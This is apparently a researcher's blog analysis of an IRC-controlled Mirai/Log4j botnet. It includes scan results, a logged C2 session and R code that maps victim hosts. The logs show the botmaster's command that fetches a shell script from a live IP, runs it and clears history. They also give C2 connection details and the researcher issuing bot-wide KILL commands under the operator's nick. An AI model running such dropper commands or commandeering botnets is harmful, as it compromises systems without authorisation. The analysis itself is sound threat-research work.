03_bin/Josho.x86: Unix.Dropper.Mirai-7135890-0 FOUND
----------- SCAN SUMMARY -----------
Known viruses: 8604460
Engine version: 0.103.5
Scanned directories: 0
Scanned files: 31
Infected files: 28
Data scanned: 1.95 MB
Data read: 1.93 MB (ratio 1.01:1)
Time: 16.289 sec (0 m 16 s)
Start Date: 2022:01:22 15:26:10
End Date: 2022:01:22 15:26:27
Yields some assembly from the various binaries, which disassembled leads you to 51.161.53.197, with lots of IRC commands built into it. nmap on the host in question leads to default IRC 6667 being open.
For this botnet, the code is clearly identifiable as:
https://github.com/isdrupter/ziggystartux
Configured slightly differently, but remnants remain. Random real_name/user_name/nick of 4-9 capital letters, different for all three. Easy enough.
Buried in the assembly is also a channel name, “#mks2”. So we are ready to connect, time for Irssi again.
51.161.64.197:6667#mks2
[(status)] /connect 51.161.64.197 6667
01:36 -!- Irssi: Looking up 51.161.64.197
01:36 -!- Irssi: Connecting to 51.161.64.197 [51.161.64.197] port 6667
01:36 -!- Irssi: Connection to 51.161.64.197 established
01:36 !irc.cobalt.com *** Looking up your hostname...
01:36 !irc.cobalt.com *** Couldn't resolve your hostname; using your IP address instead
01:36 -!- Capabilities requested: multi-prefix
01:36 -!- Capabilities supported: account-notify away-notify multi-prefix userhost-in-names
01:36 -!- Capabilities acknowledged: multi-prefix
01:36 -!- Welcome to the Cobalt Stresser IRC Network WFHJCIMP!LAQPCO@[##bcable-redacted##]
01:36 -!- Your host is irc.cobalt.com, running version Unreal3.2.10.6
01:36 -!- This server was created Fri Jan 21 2022 at 10:59:36 EST
01:36 -!- irc.cobalt.com Unreal3.2.10.6 iowghraAsORTVSxNCWqBzvdHtGpI
lvhopsmntikrRcaqOALQbSeIKVfMCuzNTGjZ
01:36 -!- UHNAMES NAMESX SAFELIST HCN MAXCHANNELS=30 CHANLIMIT=#:30 MAXLIST=b:60,e:60,I:60
NICKLEN=30 CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 MAXTARGETS=20 are
supported by this server
01:36 -!- WALLCHOPS WATCH=128 WATCHOPTS=A SILENCE=15 MODES=12 CHANTYPES=#
PREFIX=(qaohv)~&@%+ CHANMODES=beI,kfL,lj,psmntirRcOAQKVCuzNSMTGZ
NETWORK=Cobalt-Stresser CASEMAPPING=ascii EXTBAN=~,qjncrRa ELIST=MNUCT
STATUSMSG=~&@%+ are supported by this server
01:36 -!- EXCEPTS INVEX CMDS=KNOCK,MAP,DCCALLOW,USERIP,STARTTLS are supported by this server
01:36 -!- There are 240 users and 1 invisible on 1 servers
01:36 -!- 2 unknown connection(s)
01:36 -!- 2 channels formed
01:36 -!- I have 241 clients and 0 servers
01:36 -!- 241 343 Current local users 241, max 343
01:36 -!- 241 343 Current global users 241, max 343
01:36 -!- MOTD File is missing
01:36 -!- Mode change [+iw] for user WFHJCIMP
[(status)] /list
01:36 -!- Channel Users Name
01:36 -!- #mks2 241 [+sntu]
01:36 -!- End of /LIST
[(status)] /j #mks2
01:37 -!- WFHJCIMP LAQPCO[@##bcable-redacted##] has joined #mks2
01:37 [Users #mks2]
01:37 [@Mambaa] [ WFHJCIMP]
01:37 -!- Irssi: #mks2: Total of 2 nicks [1 ops, 0 halfops, 0 voices, 1 normal]
01:37 -!- Channel #mks2 created Fri Jan 21 18:51:42 2022
01:37 -!- Irssi: Join to #mks2 was synced in 1 secs
01:37 -!- WFHJCIMP [LAQPCO@##bcable-redacted##] has joined #mks2
01:37 [Users #mks2]
01:37 [@Mambaa] [ WFHJCIMP]
01:37 -!- Irssi: #mks2: Total of 2 nicks [1 ops, 0 halfops, 0 voices, 1 normal]
01:37 -!- Channel #mks2 created Fri Jan 21 18:51:42 2022
01:37 -!- Irssi: Join to #mks2 was synced in 1 secs
04:45 -LXIIAI:#mks2- I'm having a problem resolving my host, someone will have to SPOOFS me manually.
06:11 -YJXZ:#mks2- I'm having a problem resolving my host, someone will have to SPOOFS me manually.
06:11 -SJCNRQSP:#mks2- I'm having a problem resolving my host, someone will have to SPOOFS me manually.
07:47 -LZDZRH:#mks2- I'm having a problem resolving my host, someone will have to SPOOFS me manually.
09:28 -JOJM:#mks2- I'm having a problem resolving my host, someone will have to SPOOFS me manually.
11:18 -IIRNETKI:#mks2- I'm having a problem resolving my host, someone will have to SPOOFS me manually.
13:58 <@Mambaa> !* SH nproc
14:04 -LMOMC:#mks2- I'm having a problem resolving my host, someone will have to SPOOFS me manually.
14:42 <@Mambaa> !* SH nproc
14:59 <@Mambaa> !* SH uname -a
15:14 <@Mambaa> !* SH nproc
17:19 <@Mambaa> !* SH cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.174.24.16/8UsA.sh; curl -O
http://107.174.24.16/8UsA.sh; chmod 777 8UsA.sh; sh 8UsA.sh; rm -rf 8UsA.sh; history -c
18:52 -JTDLHYXQ:#mks2- I'm having a problem resolving my host, someone will have to SPOOFS me manually.
[(status)] /whois Mambaa
01:39 -!- Mambaa [IceChat95@131.100.62.224]
01:39 -!- ircname : The Chat Cool People Use
01:39 -!- channels : @#mks2
01:39 -!- server : irc.cobalt.com [Cobalt Net]
01:39 -!- idle : 0 days 1 hours 58 mins 17 secs [signon: Fri Jan 21 18:51:55 2022]
01:39 -!- End of WHOIS
NMAP results on 51.161.64.198:
21/tcp open ftp vsftpd 3.0.2
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS))
666/tcp open doom?
3306/tcp open mysql MySQL 5.5.68-MariaDB
|_irc-info: Unable to open connection
|_irc-info: Unable to open connection
|_irc-info: Unable to open connection
|_irc-info: Unable to open connection
|_irc-info: Unable to open connection
9100/tcp open jetdirect?
9101/tcp open jetdirect?
9102/tcp open jetdirect?
9103/tcp open jetdirect?
The port 666 is in line with the Josho.x86 Mirai variant they are dropping on people.
The problem here is that Auditorium mode was enabled by default. I could only IRC /whois 8 of these users at this point. Not a whole lot in a server full of 239 bots.
18:57 -!- Mambaa [IceChat95@131.100.62.224] has quit [Quit: Pull the pin and count to what?]
19:05 -!- You're now known as Mambaa
19:05 < Mambaa> !* VERSION
Getting the versions back, I was able to get usernames, and identify the usernames and hostnames from them. From there, I ran the IRC /whois script from before for some extra graphing goodies later.
19:10 < Mambaa> !* KILL
19:12 < Mambaa> !* VERSION
No response from the bots this time.
20:09 -YCOWYPRF:#mks2- I'm having a problem resolving my host, someone will have to SPOOFS me manually.
20:09 < Mambaa> !* VERSION
Manual /whois on the laterally compromised… good idea to squat for awhile.
20:09 < Mambaa> !* KILL
20:10 < Mambaa> !* VERSION
21:00 < Mambaa> !* VERSION
21:19 < Mambaa> !* VERSION
Looks like lateral compromise should have stopped.
library(ggplot2)
https://bcable.net/x/Rproj/shared
source("shared/country_code_cleanup.R")
source("shared/themes.R")
source("shared/world_mapper.R")
irc_join_quits_botneta <- read.csv("rabbits/data/irc_joins_quits_botneta_geo.csv")
irc_whois_botneta <- read.csv("rabbits/data/irc_whois_botneta_geo.csv")
irc_whois_botnetb <- read.csv("rabbits/data/irc_whois_botnetb_geo.csv")
add_country_code <- function(df){
df$Country.Code <- df$Rwhois
df$Country.Code[is.na(df$Rwhois)] <- df$rgeolocate[is.na(df$Rwhois)]
df
}
signon_graph <- function(df, site_name){
signon_dates <- as.POSIXct(
df$Signon.Date[nchar(df$Signon.Date)!=0],
format="%a %b %d %H:%M:%S %Y"
)
g <- ggplot(data.frame(Date=signon_dates), aes(x=Date))
g <- g + labs(x="", y="Victims", title=paste0(
c(site_name, ": Victim Signon Dates"),
collapse=""
))
g <- g + geom_histogram(bins=50)
g <- g + theme_bw() %+replace% theme_fontfix()
g
}
idle_graph <- function(df, site_name){
idle_times <- df$Idle.Time[nchar(df$Idle.Time)!=0]
idle_times_df <- data.frame(
Days=as.numeric(sub(
"([0-9]+) days ([0-9]+) hours ([0-9]+) mins ([0-9]+) secs", "\\1",
idle_times
)),
Hours=as.numeric(sub(
"([0-9]+) days ([0-9]+) hours ([0-9]+) mins ([0-9]+) secs", "\\2",
idle_times
)),
Mins=as.numeric(sub(
"([0-9]+) days ([0-9]+) hours ([0-9]+) mins ([0-9]+) secs", "\\3",
idle_times
)),
Secs=as.numeric(sub(
"([0-9]+) days ([0-9]+) hours ([0-9]+) mins ([0-9]+) secs", "\\4",
idle_times
))
)
idle_times_df$Total.Seconds <- (
(idle_times_df$Days*86400) +
(idle_times_df$Hours*3600) +
(idle_times_df$Mins*60) +
idle_times_df$Secs
)
g <- ggplot(idle_times_df, aes(x=Total.Seconds))
g <- g + labs(x="", y="Victims", title=paste0(
c(site_name, ": Victim Idle Seconds"),
collapse=""
))
g <- g + geom_histogram(bins=50)
g <- g + theme_bw() %+replace% theme_fontfix()
g
}
theme_fontfix <- function(){
theme(
text=element_text(
family="Sans", face="plain", size=30, hjust=0.5, vjust=0.5,
angle=0, lineheight=2,
margin=margin(0.5, 0.5, 0.5, 0.5, "cm"),
),
plot.title=element_text(
family="Sans", face="bold", size=40, hjust=0.5, vjust=0.5,
angle=0, lineheight=2,
margin=margin(0.5, 0.5, 0.5, 0.5, "cm"),
)
)
}
Country codes pre-generated by Rwhois and rgeolocate packages in CRAN in an interactive session.
irc_whois_botneta <- add_country_code(irc_whois_botneta)
irc_join_quits_botneta <- add_country_code(irc_join_quits_botneta)
irc_join_quits_botneta$Country.Code.JQ <- irc_join_quits_botneta$Country.Code
irc_join_quits_botneta$Country.Code <- NA
irc_country_botneta <- merge(
irc_whois_botneta, irc_join_quits_botneta, by="Hostname", all=TRUE
)
irc_country_botneta$Country.Code <- irc_country_botneta$Country.Code.x
irc_country_botneta$Country.Code[
is.na(irc_country_botneta$Country.Code)
] <- irc_country_botneta$Country.Code.y[
is.na(irc_country_botneta$Country.Code)
]
irc_country_botneta <- irc_country_botneta[
!is.na(irc_country_botneta$Country.Code), c("Hostname", "Country.Code")
]
irc_country_botnetb <- add_country_code(irc_whois_botnetb)
irc_country_botnetb <- irc_country_botnetb[
!is.na(irc_country_botnetb$Country.Code), c("Hostname", "Country.Code")
]
g <- world_mapper(country_code_cleanup(irc_country_botneta$Country.Code))
g <- g + labs(
title=paste0(
"irc.bashgo.pw: IRC Log4j Monero Botnet Identified Victim Hosts",
collapse=""
), fill="Hosts", x="", y=""
)
g <- g + scale_fill_continuous(low="#000040", high="#0000FF", guide="colorbar")
g <- g + theme_worldfont()
g
signon_graph(irc_whois_botneta, "irc.bashgo.pw")
idle_graph(irc_whois_botneta, "irc.bashgo.pw")
g <- world_mapper(country_code_cleanup(irc_country_botnetb$Country.Code))
g <- g + labs(
title=paste0(
"irc.cobalt.com: IRC Log4j Monero Botnet Identified Victim Hosts",
collapse=""
), fill="Hosts", x="", y=""
)
g <- g + scale_fill_continuous(low="#000040", high="#0000FF", guide="colorbar")
g <- g + theme_worldfont()
g
signon_graph(irc_whois_botnetb, "irc.cobalt.com")
idle_graph(irc_whois_botnetb, "irc.cobalt.com")
For further information about who is doing the attacking, rather than what is getting attacked, see here:
https://bcable.net/analysis-httpd-log4j_rawlogs.html
Geolocation based on IP address is not to be taken as entirely accurate as to the source of traffic or attacks conducted. There are many reasons for this, which include (but are not limited to):
Large quantities of traffic, especially attack based traffic, will use a VPN or the Tor network (or some reasonable facsimile), to mask the origin of the traffic. This will in turn change the appearance of the location of origin. Usually, an attacker will also intentionally want the traffic to appear to come from somewhere that has some form of lesser legal jurisdiction, some form of lesser ability to police traffic, or come from a well known source of malicious attacks such as China or Russia.
For instance, the following log entry was generated by myself against my servers while sitting at my desk in the United States, but it gets geolocated as Russia because of how the packet was sent. This sort of masking is trivial to perform, even by a nine year old on a cellphone.
httpd_data[grep("/from/russia/with/logs", httpd_data$Request), c("Request", "Response.Code", "Country.Code")]
## Request Response.Code Country.Code
## 1 GET /from/russia/with/logs HTTP/1.1 404 RU
Some locations will have a higher distribution of virtual servers than others, such as Silicon Valley or China. This can lead to larger quantities of vulnerable virtual machines and servers in those regions, and distort the resulting aggregate data.
It is possible that due to address assignment for governmental intelligence purposes or other economic or political reasons a nation could re-allocate address space and forge the identity similarly to a NAT (network address translation). They could also funnel information via VPN technologies for another nation.
Because most of these agreements are made in private, and due to the fact that most geolocation, RDAP, and WHOIS records are based on self-reporting, it is impossible to know the 100% true nature of geographic address assignment.
This geolocation uses the rgeolocate package available in CRAN, and uses the internal country database that is shipped with it. There could be an error in the database shipped, there could be an error in the lookup code, etc. Bugs happen. I have no reason to believe that any false geolocation is being performed by these packages, however.
Also used is the self-reported RDAP or WHOIS systems which can frequently be self-reported falsely or misleadingly. Which of the systems (RDAP, WHOIS, or rgeolocate) used are disclosed when necessary.
Despite these weaknesses, this doesn't change the fact that looking at this sort of data can be quite fun and interesting, and potentially enlightening. Generalized conclusions should not be made from this data or the maps herein. You have been warned.